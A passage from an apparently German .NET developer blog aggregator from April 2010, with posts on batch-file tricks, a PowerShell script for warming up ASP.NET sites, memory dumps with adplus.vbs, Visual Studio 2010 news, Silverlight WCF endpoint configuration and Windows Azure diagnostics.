Knackpunkt ist das "delims" mit der Kombination "dir /s /B", worüber dann auch die Dateigröße mittels  "!%%~zi!" überprüft werden kann. In dem Beispiel wird eine Datei "FileToCheck.txt" überprüft, und diese muss dann 1396 Bytes groß sein.

3. In Aufrufverzeichnis wechseln (und wieder zurück):

Das ist ein Standardproblem, welches dann auch sehr einfach zu lösen ist. Dennoch muss man es wissen ;-) Grundproblem ist es, wenn man die Batchdatei nicht aus dem Verzeichnis aufruft, in dem die Batch Datei liegt. Man kann mit der angegebenen Lösung zum Verzeichnis der Batch-Datei wechseln und zum Schluß dann wieder zurück zum Aufrufverzeichnis.

Lösung:
REM wechselt ins Ausführungsverzeichnis
PushD "%~dp0"

REM hier kann z.B. ein externes Tool, was im selben Verzeichnis wie die Batch Datei liegt, aufgerufen werden.

REM wechselt ins Aufrufverzeichnis zurück
PopD


Ich hoffe diese Tricks helfen Euch auch weiter?

ASP.NET Anwendungen mit der Powershell warmklicken

13.04.2010 09:05:44 | Andre Kraemer

Startet man eine ASP.NET Anwendung zum ersten Mal, kommt man nicht gerade in einen Geschwindigkeitsrausch. Dies liegt zum Beispiel daran, dass der IIS den ASP.NET Worker Prozess hochfahren muss. Außerdem läuft eventuell im Ereignis Application_Start hinterlegter Initialisierungscode und schließlich müssen die vorliegenden Assemblies noch durch den JITer in nativen Code überführt werden.

All dies führt dazu, dass man relativ selten so etwas wie "rasend schnell" hört, wenn vom ersten Zugriff auf eine ASP.NET Anwendung gesprochen wird.

Glücklicherweise ist all dies nach dem ersten Request einer Seite kein Problem mehr. Der Worker Prozess ist da, der Initialisierungscode lief und die Just In Time Compilation lief auch.

Zu einem Problem wird die Situation jedoch, wenn man seine ASP.NET Anwendung während der Entwicklung als ein Bestandteil des Nightly Builds automatisch deployed und auch seinem Kunden Zugriff auf diesen täglich frischen Applikationsstand gibt.

Da Kunden morgens nämlich meist früher als Entwickler im Büro sind, sind sie auch die ersten, die die Webanwendung öffnen, um zu sehen, was am Vortrag umgesetzt wurde. Ist dieser erste Zugriff nun aus den oben genannten Gründen langsam, ist negatives Feedback des Kundens zur Applikationsperformance - oder sogar noch schlimmer: im Stillen sinkendes vertrauen in Applikation und Entwickler nicht selten die Folge.

Um dieses Problem zu umgehen, habe ich ein kleines Powershell Script geschrieben, das nach Angabe einer URL die einzelnen Seiten einer Webapplikation ansurft. 

function warmup-site( [string] $rootUrl){
	
	$proxy = New-Object System.Net.WebProxy("mein.firmen.proxy:8080")
	$proxy.UseDefaultCredentials = 1
	
	$wc = New-Object System.Net.WebClient
	$wc.Proxy = $proxy
	
	$pages = @("default.aspx", "seite1.aspx", "seite2.aspx", "subfolder/seite3.aspx")

	# Jede Seite 3 Mal ansurfen, um Sie "warmzuklicken"
	for ($i=0; $i -lt 3; $i++){
		foreach($page in $pages){
			trap [System.Net.WebException] {
			  write-error $("TRAPPED: " + $_.Exception.ToString());
			  continue;
		   	}
			$content = $wc.DownloadString($rootUrl+$page)
			write $("URL " + $rootUrl+$page + " angesurft");
		}
	}

}

warmup-site("http://meine.url/")

Bisher gebe ich die einzelnen Seiten die angefragt werden sollen noch manuell innerhalb des Arrays $pages an. Im nächsten Schritt würde ich jedoch lieber nur noch die URL der Sitemap angeben, diese auslesen und dann sämtliche in der Sitemap aufgeführten URLs anfragen. Da ich jedoch noch Powershell Neuling bin, könnte es noch ein wenig dauern, bis ich die Lösung so weit automatisiert habe. Sollte einer der Leser nun sagen: "Das ist doch ein Dreizeiler, den ich in der Kaffeepause aus dem Ärmel schütteln könnte", dann würde ich darum bitten genau diesen Dreizeiler über die Kommentarfunktion meines Blogs hier einzustellen ;-)

Was bringts?

Die Anwendung startet beim ersten Request nun bedeutend schneller. Somit ist der Kunde beruhigt und wir können uns auf die wichtigen Sachen des Projekts konzentrieren ;-)

Habe übrigens gesehen, dass es ab dem IIS 7 (oder 7.5?) von Hause aus eine Warmup gibt. Hat jemand von euch Erfahrung damit? Im Moment ist es für mich zwar noch nicht akut, da wir den IIS 6 nutzen, wäre aber Interessant für die Zukunft ein paar Erfahrungsberichte zur Hand zu haben.



blog.codemurai.de © André Krämer |Impressum | Abonieren

ASP.NET 4 – Breaking Changes

13.04.2010 07:26:00 | Jürgen Gutsch

Scott Hanselman hat auf seinem Blog drei Breaking Changes veröffentlicht die beim Update von ASP.NET 2.0 (bzw. 3.5) auf ASP.NET 4.0 Probleme bereiten könnten. Er beschreibt auch gleichzeitig die möglichen Lösungen:
ASP.NET 4 - Breaking Changes and Stuff to be Aware of

Weitere Breaking Changes sind auf folgender Seite zu finden:
ASP.NET 4 Breaking Changes

DotNetKicks-DE Image

Visual Studio 2010 und Team Foundation Server 2010 verfügbar

13.04.2010 01:37:24 | Thomas Schissler

Visual Studio 2010 Launch

 

Heute wurden Visual Studio 2010 und Team Foundation Server 2010 gelauncht. Microsoft neueste ALM Plattform bietet eine große Anzahl neuer Features, so dass sich ein näherer Blick auf jeden Fall lohnt, unter anderem:

  • Testmanagement und Testausführung
  • automatisierte GUI-Tests
  • Virtualisierte Testumgebungen
  • Erweiterte Tracking-Funktionen für Versionsverwaltung
  • Agile Planungsmethoden
  • Build Workflows auf Basis von WF 4.0
  • Architektur-Features und UML-Diagramme
  • Integrierte SharePoint-Entwicklung
  • uvm

Ich werde in den folgenden Wochen in einzelnen Blogbeiträgen verschiedene Funktionen vorstellen, also vorbeischauen lohnt sich …

Weitere Informationen und den Download Link für Inhaber einer MSDN Subscription finden sich hier:

http://msdn.microsoft.com/de-de/vstudio/2010.aspx

Testversionen können hier heruntergeladen werden:
http://www.microsoft.com/germany/visualstudio/try/download.aspx

Wie ziehe ich mir eigentlich einen Memory Dump meiner Anwendung

12.04.2010 22:07:04 | Andre Kraemer

Vor einiger Zeit habe ich ein kleines Einsteigertutorial zum Umgang mit WinDbg geschrieben. Etwas später folgte dann auch ein kurzes Video hierzu.

Sowohl im Tutorial als auch im Video war eine Windows Forms Anwendung das Ziel meiner Debuggingaktivitäten. In einem kurzen Nebensatz erwähnte ich, dass die Zielanwendung bei der gezeigten Vorgehensweise, nämlich dem direkten Anhängen an den Prozess der Wahl, zumindest zeitweise blockiert wird.

In einer Windows Forms Anwendung mag dies kein Problem sein, schließlich bin ich ja alleine auf dem System. Unschön wird es jedoch, wenn man Probleme in einer produktiven ASP.NET Anwendung sucht. Verständlicherweise reagieren hier nämlich die wenigsten Anwender erfreut, wenn die Website steht weil gerade jemand im Hintergrund daran herumfummelt. Außerdem ist es je nach IT Richtlinie auch problematisch den lokalen Administrator des Kundens davon zu überzeugen, dass man mal gerade physikalisch oder auch nur per Remote Desktop an seinen Webserver will.

Und nun?

Abhilfe schafft hier die VBScript Datei adplus.vbs innerhalb des WinDbg Verzeichnisses. Sie ermöglicht es, ein aktuelles Speicherabbild des problematischen Prozesses in Form einer *.DMP Datei zu erstellen. Diese kann wiederum in WinDbg geöffnet und analysiert werden.

Adplus kann in zwei verschiedenen Modi genutzt werden: hang und crash.

Im hang Modus wird einmalig ein aktueller Memory Dump des Prozesses zum Zeitpunkt der Ausführung des Scripts gezogen. Dieser Modus eignet sich besonders wenn die Applikation "hängt" ;-), also in Deadlock Szenarien, oder aber auch um Memory Leaks zu finden. Zur besseren Analyse sollten im Fall ein Memory Leaks jedoch mehrere Dumps bei verschieden hoher Speicherauslastung gezogen werden.

Der Befehl zum Erzeugen eines Dumps im hang Modus lautet übrigens:

adplus.vbs -hang -p processId

Die Id des Prozesses kann entweder über den Taskmanager, oder aber im Fall einer ASP.NET Anwendung die in einem IIS 6 gehostet wird, über den Befehl IISAPP gefunden werden.

Alternativ zum Parameter -p kann über den Parameter -pn auch ein Prozessname angegeben werden. Im Fall einer ASP.NET Anwendung wäre dies also W3WP.exe (Windows Server mit IIS) bzw. WebDev.WebServer.exe im Falle des lokalen Entwicklungsservers. Außerdem kann über den optionalen Parameter -o auch ein dediziertes Ausgabeverzeichnis angegeben werden. Standardmäßig wird nämlich sonst ein Unterverzeichnis, unterhalb des Ordners aus dem adplus heraus aufgerufen wurde, angelegt.

Innerhalb des Zielverzeichnisses wird nun eine Datei mit der Endung .DMP angelegt. Diese kann in WinDbg über den Menüpunkt File -> Open Crash Dump ... geöffnet und mit den bereits bekannten Befehlen analysiert werden.

Der zweite Modus neben hang ist der Modus crash.

Der Aufruf erfolgt hier ähnlich zum hand Modus, mit dem einzigen Unterschied, dass statt -hang-crash übergeben wird.

adplus.vbs -crash -p processId

Im Crash Modus bleibt der Debugger so lange am entsprechenden Prozess angehangen, bis dieser unfreiwillig beendet wird. Tritt dieser Fall ein, wird ein Dump auf die Festplatte geschrieben. Außerdem werden Dumps geschrieben, wenn ein zuvor definierter Breakpoint erreicht wird, oder aber eine access violation Exception auftritt.

Fazit

Mit adplus liegt ein leichtgewichtiges Skript zur Hand, dass bei der Problemanalyse innerhalb produktiver Umgebungen enorm helfen kann. Gerade in Umgebungen, in denen das Live-System nicht durch Debugging blockiert werden darf, oder aber der Administrator keinen Zugriff auf das System gewährt, kann das Skript seine stärken Ausspielen.



blog.codemurai.de © André Krämer |Impressum | Abonieren

Silverlight with multiple assemblies: Right place for ServiceReferences.ClientConfig

12.04.2010 21:49:00 | Patric Schouler

Wenn man einen Silverlight client so designt, das dieser aus mehreren Assemblies besteht, so muss man auf die richtige Platzierung der ServiceReferences.ClientConfig achten. Es könnte sein, das man nach einem MVC-Pattern folgende Struktur wählt:

  • Client.DataAccess.dll – Kapselung der Datenzugriffe
  • Client.Entities.dll – Data Model
  • Client.View.dll – Views
  • Client.ViewModel.dll – Model der Views

Das Projekt Client.View ist in meinem konkreten Fall das Silverlight Projekt und die anderen jeweils eine Silverlight Class Library. Möchte man nun über Visual Studio eine Service Reference in Client.DataAccess hinzufügen, so wird die ServiceReferences.ClientConfig in dem Class Library-Projekt Client.DataAccess eingefügt. Benötigt wird aber die ServiceReferences.ClientConfig in dem Silverlight-Projekt Client.View !!!

Kontrollieren kann man die Verwendung der richtigen ServiceRefrerences.ClientConfig übrigens dadurch, das man die XAP-Datei mit z.B. 7-Zip anschaut (XAP ist ja einfach eine Zip-Datei). 

Download + Infos: Visual Studio 2010 (Final, Englisch) sowie .NET Framework 4.0 erschienen

12.04.2010 21:45:44 | Kay Giza

Visual Studio 2010 und .NET Framework 4 sind am 12. April 2010 erschienen und stehen für Inhaber einer MSDN Subscription ab sofort zum Download bereit. Bis Ende April die deutschsprachigen Ausgaben folgen, stehen sämtliche Editionen im englischsprachigen Original zur Verfügung. Alle Infos, Download-Links sowie weiterführende deutschsprachige Informationen sowie Ressourcen finden Sie in diesem Blogeintrag auf Giza-Blog.de... [... mehr]

This post is powered by www.Giza-Blog.de | Giza-Blog.de: RSS Feed
Visit:  MSDN Online | Follow MSDN Online on Twitter | Follow Kay Giza on Twitter
Daily News on MSDN:  MSDN Aktuell
© Copyright 2006-2010 Kay Giza. All rights reserved. Legal
Subscribe

KIN: Das neue Windows Phone von Microsoft fuer Social Networker

12.04.2010 20:28:21 | Kay Giza

Microsoft hat heute KIN angekündigt, ein sogenanntes Social Phone für Menschen, die sich aktiv in sozialen Netzwerken betätigen und die Möglichkeiten der digitalen Kommunikation nutzen. KIN stellt die Verbindung aus Handy, Online-Angeboten und dem PC dar und eröffnet neue Erlebniswelten für den Nutzer. KIN wird in den USA ab Mai 2010 von Verizon Wireless verkauft. In Deutschland sowie in Italien, Spanien und Großbritannien wird das neue Handy exklusiv von Vodafone ab Herbst 2010 verfügbar sein. Die Bedienoberfläche von KIN ist einfach und macht Spaß. Social Networking ... [... lesen Sie den vollständigen Blogeintrag auf Giza-Blog.de]

This post is powered by www.Giza-Blog.de | Giza-Blog.de: RSS Feed
Visit:  MSDN Online | Follow MSDN Online on Twitter | Follow Kay Giza on Twitter
Daily News on MSDN:  MSDN Aktuell
© Copyright 2006-2010 Kay Giza. All rights reserved. Legal
Subscribe

Microsoft Visual Studio 2010: Windows 7-Theme

12.04.2010 20:07:52 | Gordon Breuer

This article is also available in English! This article is also available in English!

vs2010_themepack Wie die meisten .NET-Entwickler wohl inzwischen mitbekommen haben, ist seit wenigen Stunden endlich die finale RTM-Version von Visual Studio 2010 verfügbar. Die glücklichen Besitzer einer MSDN-Lizenz werden schon zugeschlagen haben. Da ich leider nicht zu diesen Glücklichen gehöre und mir auch niemand (bisher) ein unmoralisches Angebot für eine Einzellizenz gemacht hat, werde ich mich erst mal mit der Express-Version begnügen müssen. *sigh*

Genug der melancholischen Gedanken, Zeit für ein wenig Farbe:
Auf microsoftfeed.com habe ich einige Hintergrundbilder im Visual Studio 2010 Design gefunden. Und um das Ganze zu vereinfachen auch sogleich ein eigenes Windows 7-Theme erstellt, welches das dutzend Wallpaper in zufälliger Reihenfolge anzeigt. Das Ganze garniert mit einem Hauch von Lila / Flieder, es ist ja immerhin Frühling! ;-)

Download: VS2010.themepack (765 KB, Windows-Themenpaketdatei)

Artikel empfehlen auf .NET-Kicks Deutschland

ReSharper bietet unter Visual Studio 2010 keinen QuickFix für Type Mismatch bei COM Objekten – die Lösung

12.04.2010 17:37:00 | Alexander Zeitler

Viele Neuerungen in Visual Studio 2010 / .NET 4.0, die für sich genommen gut sind, können in Ihrer Kombination zu Problemen führen...

Bis zum .NET Framework 3.5 musste man bei der Verwendung von COM Interop Assemblies viele Rückgabewerte von Methoden etc. explizit casten, z.B.

MathUtility mathUtility = (MathUtility)solidWorks.GetMathUtility();

Vergisst man den expliziten Cast, merkt man das beim Kompilieren:

missingcastcompiletime

Hat man ReSharper installiert, wird man bereits beim Tippen auf den Fehler hingewiesen:

ReSharper bemerkt den fehlenden Cast sofort beim Tippen

Außerdem bietet ReSharper auch gleich den passenden QuickFix via ALT+Enter an:

Die Lösung folgt bei ReSharper auf dem Fuß

Gestern hatte ich nun das Problem, dass genau dieses Verhalten in ReSharper nicht mehr funktionierte, d.h. kein Error – kein QuickFix.

Allerdings trat der Fehler nur bei COM Interop Assemblies auf.

Der Klassiker

object o = "123";
string s = o;

funktionierte aber nach wie vor (d.h. wurde von ReSharper als fehlerhaft erkannt).

Visual Studio 2010 bemerkte den fehlenden Cast aber beim Kompilieren – was war passiert?

Verwendet man Visual Studio 2010 und .NET Framework 4, hat man die Möglichkeit, auf den Cast zu verzichten, da mit .NET Framework 4 der Type dynamic eingeführt wurde.

Allerdings handelt es sich bei besagtem Projekt nicht um ein .NET Framework 4 Projekt, sondern um ein .NET Framework 3.5 Projekt.

Allerdings wurde das Projekt als .NET Framework 4 Projekt erstellt und später in den Projekteinstellungen auf .NET Framework 3.5 umgestellt:

zurück zu .NET Framework 3.5

Die Referenzen auf die COM Interop Assemblies, wurden allerdings gesetzt, als das Projekt noch auf .NET Framework 4 eingestellt war.

Refenzen auf COM Interop Assemblies

Und genau hier schlug die zweite Neuerung in Visual Studio 2010 zu.

Visual Studio 2010 bietet die Option für Embedded Interop Types beim Referenzieren von COM Interop Assemblies:

Embed Interop Types

Per default setzt Visual Studio diesen Wert bei .NET Framework 4 Projekten auf “True”.

Setzt man das Projekt auf .NET Framework 3.5 zurück, verschwindet die Option zwar in den Properties für die referenzierte Assembly:

Keine Embedded InteropTypes sichtbar

Im Projekt-File bleibt der Parameter aber erhalten:

<embedinteroptypes>True</embedinteroptypes>

Eben dieser Eintrag führt dazu, dass ReSharper die Prüfung auf Type Mismatch bei der Verwendung von COM Interop Assemblies nicht mehr durchführt.

Für die Lösung des Problems gibt es zwei Ansätze:

  1. Projekt nochmal auf .NET Framework 4 zurücksetzen und “Embed Interop Types” auf “False” setzen. Projekt wieder auf .NET Framework 3.5 setzen
  2. Den Eintrag im Projekt-File von Hand auf False ändern.

Danke an Ilya Ryzhenkov von JetBrains für die Hilfe bei der Fehlersuche.

Increase AJAX Performance by combining Scripts using Scriptmanager - Composite Scripts

12.04.2010 13:58:00 | Andreas Mehl

Using Microsoft Ajax can cause a lot of Javascript Files (.axd) requests happening on the background.
You can check it by using firebug or fiddler.

The first thing you need to do before combining Ajax scripts is,
You need to know what scripts are being used by your pages.

You can use ScriptReferenceProfiler.
Well if you know your scripts you can just put them into the Scriptmanager CompositeScript Part like the following example shows.

<asp:ScriptManager runat="server">
   <CompositeScript>
     <Scripts>
       <asp:ScriptReference name="MicrosoftAjax.js"/>
       <asp:ScriptReference name="MicrosoftAjaxWebForms.js"/>
       <asp:ScriptReference name="~/CustomScript.js"/>
       ....
       ....       
     </Scripts>
   </CompositeScript>
</asp:ScriptManager>

Best thing is to combine them into one file and make it static.

This means you have to pack these defined Scriptreferences into one file. 

The Scriptmanager ignores the Scriptreferences and expects the code in your defined js file.

To set the path in compositeScript us following:

<asp:CompositeScript Path="~/CompositeScript.js">

And as a results you can decrease the number of request and traffic for this scripts.

Päckchen vom UGSS für den .NET-Stammtisch

12.04.2010 05:18:05 | Jürgen Gutsch

Letztes Jahr habe ich für den .NET-Stammtisch Konstanz-Kreuzlingen ein User Group Kit bei den User Group Support Services (kurz UGSS) bestellt und vor ein paar Wochen erhalten.

Dieses User Group Kit enthält einige tolle Dinge die ich für den .NET-Stammtisch benutzen kann und darf. Unter anderem waren zwei hochinteressante Bücher dabei (eines allgemein über die Leitung technischer User Groups und ein weiteres über Virales Marketing), einige Gutscheine und sowie Softwarelizenzen.

Aufgrund dieses Paketes können wir in den nächsten Sessions unter anderem auch drei Lizenzen von Windows 7 Ultimate verlosen.

Aber nicht nur von Microsoft werden wir unterstützt, sondern auch von JetBrains und Red Gate. Jedes Treffen dürfen wir eine Lizenz des ReSharpers von JetBrains verlosen und in den nächsten drei Sessions dürfen wir jeweils eine Lizenz des ANTS Memory Profilers von Red Gate verlosen.

Selbsverständlich gibt es auch wieder 15 Ausgaben der dotnetpro für den .NET-Stammtisch.

DotNetKicks-DE Image

ASP.NET MVC und “Klicki-Bunti” *)

12.04.2010 01:50:01 | Jürgen Gutsch

Wer auf “Klicki-Bunti” *) nicht verzichten kann oder will und dennoch ASP.NET MVC machen will, dem sei hiermit geholfen:

Imran Baloch beschreibt in seinem aktuellen Beitrag (ASP.NET MVC and Toolbox) wie man die Visual Studio Toolbox mit ASP.MVC nutzen kann um HtmlHelper per Drag and Drop in den HTML-Code zu ziehen.

*) “Klicki-Bunti” bezeichnet eine Technik (die von einigen fälschlicherweise auch Programmieren genannt wird) mit der Controls, per Drag and Drop, aus der Visual Studio Toolbox auf das WebForm gezogen werden und anschließend mit dem Eigenschaftsfenster und ggf. weiteren Assistenten konfiguriert werden. Drittanbieter-Controls sind z. B: speziell für diese Technik entworfen. ;-)

DotNetKicks-DE Image

Endpoint configurations (WCF) for Silverlight applications

11.04.2010 16:27:00 | Patric Schouler

Wer kennt nicht die Pein von der Ablage von Konfigurationsinformationen für unterschiedliche Zielumgebungen? Der Entwickler neigt meistens dazu, in den Konfigurationsdateien die unterschiedlichen Definitionen rein zu schreiben und immer nur diejenige nicht zu kommentieren, welcher er gerade nicht benötigt. Wenn man aber ein großes Projekt hat, kann diese Kommentierung-/Auskommentierungs-Fronarbeit aber ganz schön lästig sein. Was wäre es nicht schön, wenn wir beim Buildvorgang einfach unsere Zielumgebung auswählen könnten und schon haben wir die richtig konfigurierte Version. Als Ansatz für diese Lösung können wir – zumindest bis Microsoft hier eine Lösung in Visual Studio liefert – die bedingte Kompilierung verwenden.

Wi gehen dazu zunächst in den Buildmanager und legen uns für jede Umgebung (außer Development, den hier haben wir ja schon Debug) einen neue Konfiguration an. In meinem Fall sind das STAGING und PRODUCTION. In der Eigenschaft Conditional compilation symbols der Build-Konfiguration sollte dann z.B. SILVERLIGHT;STAGING usw. stehen.

Ab Silverlight 4 haben wir bei der Konfiguration von WCF-Services übrigens eine schöne Erweiterung: RelativeBinding. Hier kann die Endpoint-URI des Services in der ServiceReferences.ClientConfig relativ zur Silverlight-Ursprungs-Domäne angegeben werden.

(1) ServiceReferences.ClientConfig des Silverlight-Clients

In der ServiceReferences.ClientConfig definiert man für jede Umgebung einen Endpoint mit dem entsprechenden Binding.

<configuration>
    <system.serviceModel>
        <bindings>
            <customBinding>
                <binding name="DevelopmentServiceBinding">
                    <binaryMessageEncoding />
                    <httpTransport maxReceivedMessageSize="2147483647" maxBufferSize="2147483647" />
                </binding>
                <binding name="StagingServiceBinding">
                    <binaryMessageEncoding />
                    <httpTransport maxReceivedMessageSize="2147483647" maxBufferSize="2147483647" />
                </binding>
                <binding name="ProductionServiceBinding">
                    <binaryMessageEncoding />
                    <httpTransport maxReceivedMessageSize="2147483647" maxBufferSize="2147483647" />
                </binding>
                <binding name="RelativeBinding">
                    <binaryMessageEncoding />
                    <httpTransport maxReceivedMessageSize="2147483647" maxBufferSize="2147483647" />
                </binding>
            </customBinding>
        </bindings>
        <client>
            <endpoint address="http://localhost:40473/HelloWorldService.svc"
                binding="customBinding" bindingConfiguration="DevelopmentServiceBinding"
                contract="HelloServices.HelloWorldService" name="DevelopmentServiceBinding" />
            <endpoint address="http://localhost:40848/HelloWorldService.svc"
                binding="customBinding" bindingConfiguration="StagingServiceBinding"
                contract="HelloServices.HelloWorldService" name="StagingServiceBinding" />
            <endpoint address="http://localhost:40849/HelloWorldService.svc"
                binding="customBinding" bindingConfiguration="ProductionServiceBinding"
                contract="HelloServices.HelloWorldService" name="ProductionServiceBinding" />
          <!-- New at Silverlight 4 !!! -->
          <endpoint address="../HelloWorldService.svc"
               binding="customBinding" bindingConfiguration="RelativeBinding"
               contract="HelloServices.HelloWorldService" name="RelativeBinding" />
        </client>
    </system.serviceModel>
</configuration>

Die URIs der unterschiedlichen Endpoints zeigen hier zum Ausprobieren auf die lokalen Services und müssen letztendlich mit den richtigen Adressen der Staging- und Production-Services versorgt werden.

(2) Durch bedingte Kompilierung Endpoint setzen

Mittels der bedingten Kompilierung kann man dann den Endpoint entsprechend der ausgewählten Build-Konfiguration auswählen.

   1: void MainPage_Loaded(object sender, RoutedEventArgs e)
   2: {
   3:     _endpointName = "DevelopmentServiceBinding";
   4:     // oder für SL 4
   5:     _endpointName = "RelativeBinding";
   6:  
   7:     #if PRODUCTION
   8:         _endpointName = "ProductionServiceBinding";
   9:     #endif
  10:  
  11:     #if STAGING
  12:         _endpointName = "StagingServiceBinding";
  13:     #endif
Schlussbetrachtung

Wenn man diese Variante verwendet, muss man sich vergegenwärtigen, dass die ServiceReferenences.clientconfig als Resource kompiliert wird und so natürlich die Dev/Staging-URIs für jeden ersichtlich sind (zu mindestens diejenigen, die ein Tool wie Silverlight Spy oder Reflector ihr eigen nennen).

Die ergänzende Variante wäre, die Endpoints im Coding hart zu codieren, aber auch hier kann natürlich jeden den Silverlight-Client dekompilieren. Also eine echte Sicherheit zum Verbergen der Konfigurationsinformationen, gibt es erst, wenn Microsoft mal den Punkt “Config-Informationen in Abhägigkeit von der Umgebung” von der Wishlist von Visual Studio umsetzt.

[Quelle: Beitrag von Method ~ of ~ failed by Tim Heuer]

Zeigt euren Followern welche Artikel ihr kickt

11.04.2010 15:04:00 | dotnet-kicks.de Blog

vielleicht ist ja der ein oder andere von ihnen der gleichen Meinung und kickt ebenfalls den Artikel.
Um Twitter dazu zu bewegen eure kicks in eurer Timeline anzuzeigen, ist lediglich eine Anmeldung beim Dienst twitterfeed.com und ein paar Klicks erforderlich.

Nach dem ihr euch bei twitterfeed.com angemeldet habt, benötigt ihr die URL eures RSS-Feed (1.) aus eurem dotnet-kicks Profil.

dnkfeed

Am einfachsten kopiert ihr die Verknüpfung in die Zwischenablage.
Als nächstes öffnet ihr twitterfeed.com im Browser und meldet euch an. Dort klickt ihr auf  newfeed

um einen neuen Feed bei twitterfeed.com zu erzeugen. Danach sollte sich folgende Eingabemaske öffnen:

twitterfeed Eingabe

Als erstes könnt ihr jetzt die Feed URL aus der Zwischenablage in die Zeile RSS Feed URL kopieren (2.) und anschließend die kopierte URL testen (3.) und einen Namen für diesen Feed vergeben (4.).
Mit den erweiterten Einstellungen (5.) könnt ihr noch zusätzliche Feature einstellen.

twitterfeed Advanced Settings

Etwa einen Präfix (6.) und Suffix (7.) angeben, die jedem Tweet vorangestellt bzw. angefügt werden. Achtet aber hier bitte auf zusätzliche Leerzeichen nach bzw. vor den Eingaben.
Wenn alle eure Angaben getätigt sind, geht es weiter mit dem nächsten Schritt (8.)

Auf der Seite werden verschiedenen Dienste angeboten. Wählt hier Twitter aus. Nach dem Klick auf Twitter, öffnet sich der Dialog, in dem ihr den Dienst konfiguriert.

twitterfeed Configuration

Hier empfiehlt es sich die Authentifizierung mit OAuth (9.) zu verwenden. Ihr werdet dann von Twitter gefragt, ob ihr diese Anwendung zulassen wollt. Nach der Zustimmung bei Twitter, werdet ihr zum oben abgebildeten Dialog zurückgeleitet und könnt jetzt euren Twitter-Account auswählen (10.) Jetzt noch ein letzter Klick auf Create Service (11.) und ihr zeigt euren Followern an, welche Artikel ihr auf dotnet-kicks.de kickt.

kick it on dotnet-kicks.de

Facts of the week

10.04.2010 19:01:00 | Patric Schouler

Da ich mich zur Zeit intensiv mit den Themen Cloud Computing mit Windows Azure und Silverlight Business Applications beschäftige, möchte an dieser Stelle mit einem “facts of the week” (wenn möglich wöchentlich) einige Erkenntnisse bzw. Wissenwertes bloggen. Kann sein, das die Informationen nicht immer ganz strukturiert sind, aber ich werde immer versuchen, das entsprechende Themengebiet kurz zu umreißen.

Also let’s start:

Kein Browser-Fenster starten, beim Debuggen einer Windows Azure-Anwendung in der DevFabric.
Configuration der Rolle->Startup action Launch Browser for Http Endpoint nicht ankreuzen

Windows Azure: Lokaler Speicher einer Instanz (nicht der Storage von Windows Azure)

· The local storage is not shared between instances

Tracen von Windows Azure Anwendungen

Windows Azure nutzt den Storage zur Ablage von allen möglichen Logs (IIS, Windows,…siehe unten….) und den Trace.WriteLine Informationen. Hierzu ist notwendig:

Web.Config (alle gewünschten Listener hinzufügen)

<system.diagnostics> 
<trace autoflush="false" indentsize="4"> 
<listeners> 
<add name="AzureDiagnostics" 
type="Microsoft.WindowsAzure.Diagnostics.DiagnosticMonitorTraceListener, Microsoft.WindowsAzure.Diagnostics, Version=1.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" /> 
</listeners> 
</trace> 
</system.diagnostics>

Trace.WriteLine("Hier ist ein KRITISCHER Log-Eintrag", "Critical");
Trace.WriteLine("Hier ist eine INFORMATION für das Log", "Information");

Beim Zugriff auf den Azure Storage, von wo aus die Logs dann auf dem üblichen Weg (Storage API oder Webservices) ausgelesen werden können, können die Logs nach Datentyp, Level und Zeitraum gefiltert werden. Die folgende Tabelle gibt einen Überblick über die möglichen Informationsquellen für die Anwendungsüberwachung und Analyse.

Datenquelle

Standardkonfiguration

Konfiguration

Format

Trace Logs

aktiviert, lokal gespeichert

Diagnostics API, Trace Listener

Table

Performance Counters

deaktiviert

Diagnostics API

Table

Windows Event Logs

deaktiviert

Diagnostics API

Table

Infrastruktur-Logs

aktiviert, lokal gespeichert

Diagnostics API

Table

IIS Logs

aktiviert, lokal gespeichert

Diagnostics API, Web.config

Blob

IIS Failed Request Logs

deaktiviert

Diagnostics API, Web.config

Blob

Application Crash Dumps

deaktiviert

Diagnostics API, Crash API

Blob

Beliebige Logs & Dateien

deaktiviert

Diagnostics API

Blob

       

Die wichtigsten Windows Azure Bibliotheken

  • Microsoft.WindowsAzure
    Über die Klassen dieses Namespaces können die Credentials für Windows Azure Storage Accounts verwaltet werden
  • Microsoft.WindowsAzure.ServiceRuntime
    Klassen in diesem Namespace erlauben die Interaktion mit der Windows Azure-Umgebung aus einer Role heraus
  • Microsoft.WindowsAzure.Diagnostics
    Die Klassen aus diesem Namespace werden für die Sammlung von Logging- und Diagnosemeldungen benötigt
  • Microsoft.WindowsAzure.Diagnostics.Management
    Klassen dieses Namespaces können dazu verwendet werden Logging- und Diagnoseinformationen auszulesen
  • Microsoft.WindowsAzure.StorageClient
    Dieser Namespace umfasst die Klassen für den Zugriff auf den Windows Azure Storage Service. Die betreffenden Klassen waren während der CTP-Phase im Namespace Samples enthalten.
  • Microsoft.WindowsAzure.StorageClient.Protocol
    Klassen aus diesem Namespace stellen Wrapper für den Zugriff auf den Windows Azure Storage via REST-Protokoll zur Verfügung.

Windows Azure Version angeben

Spätestens nach Erscheinen der OS-Version 1.1 (Februar 2010) ist es notwendig, die OS-Version zu konfigurieren, die man in der Staging- bzw. Prod-Umgebung auf dem Windows Azure Space benutzt. Dies geschieht in der Windows Azure Service Configuration Datei. Die Eigenschaft osVersion kann dann folgenden Wert haben:

WA-GUEST-OS-M.m_YYYYMM-nn

Where:

WA-GUEST-OS is a fixed string
M.m refers to the major and minor versions
YYYY refers to the year
MM refers to the month

!Wichtig!:
If this attribute is omitted from the configuration file when you deploy your service, the service is deployed to the default version of the operating system; the default version is undefined.

Cross domain calls for Silverlight client

10.04.2010 18:29:00 | Patric Schouler

Ein Silverlight Client lässt standardmäßig nur den Aufruf von Webservices aus der Web-Domäne zu, von der der Silverlight-Client herunter geladen wurde. In manchen Fällen möchte man aber zum Beispiel einen Webservice per WCF (SOAP) aufrufen oder einen POX- bzw. REST-konformen Call per WebClient oder HttpRequest machen. Um dies zu ermöglichen, müssen in der aufgerufenen Domäne im Root die zwei Dateien clientaccesspolicy.xml und ggf. auch crossdomain.xml vorhanden sein.

In meinem konkreten Szenario hatte ich ein Windows Azure-Projekt mit mehreren Web-Roles. Da jede Web-Role (bei mir eine Webservice-Role) eine eigene Adresse hat, ist jeder Aufruf vom Silverlight-Client ein Cross Domain Access. Wenn man nun die unten beschriebene Policy-Datei clientaccesspolicy.xml  in das WebService-Projekt im Root anlegt, erlaubt man Silverlight auch auf diesen WebService außerhalb seiner Download-Domäne zuzugreifen.

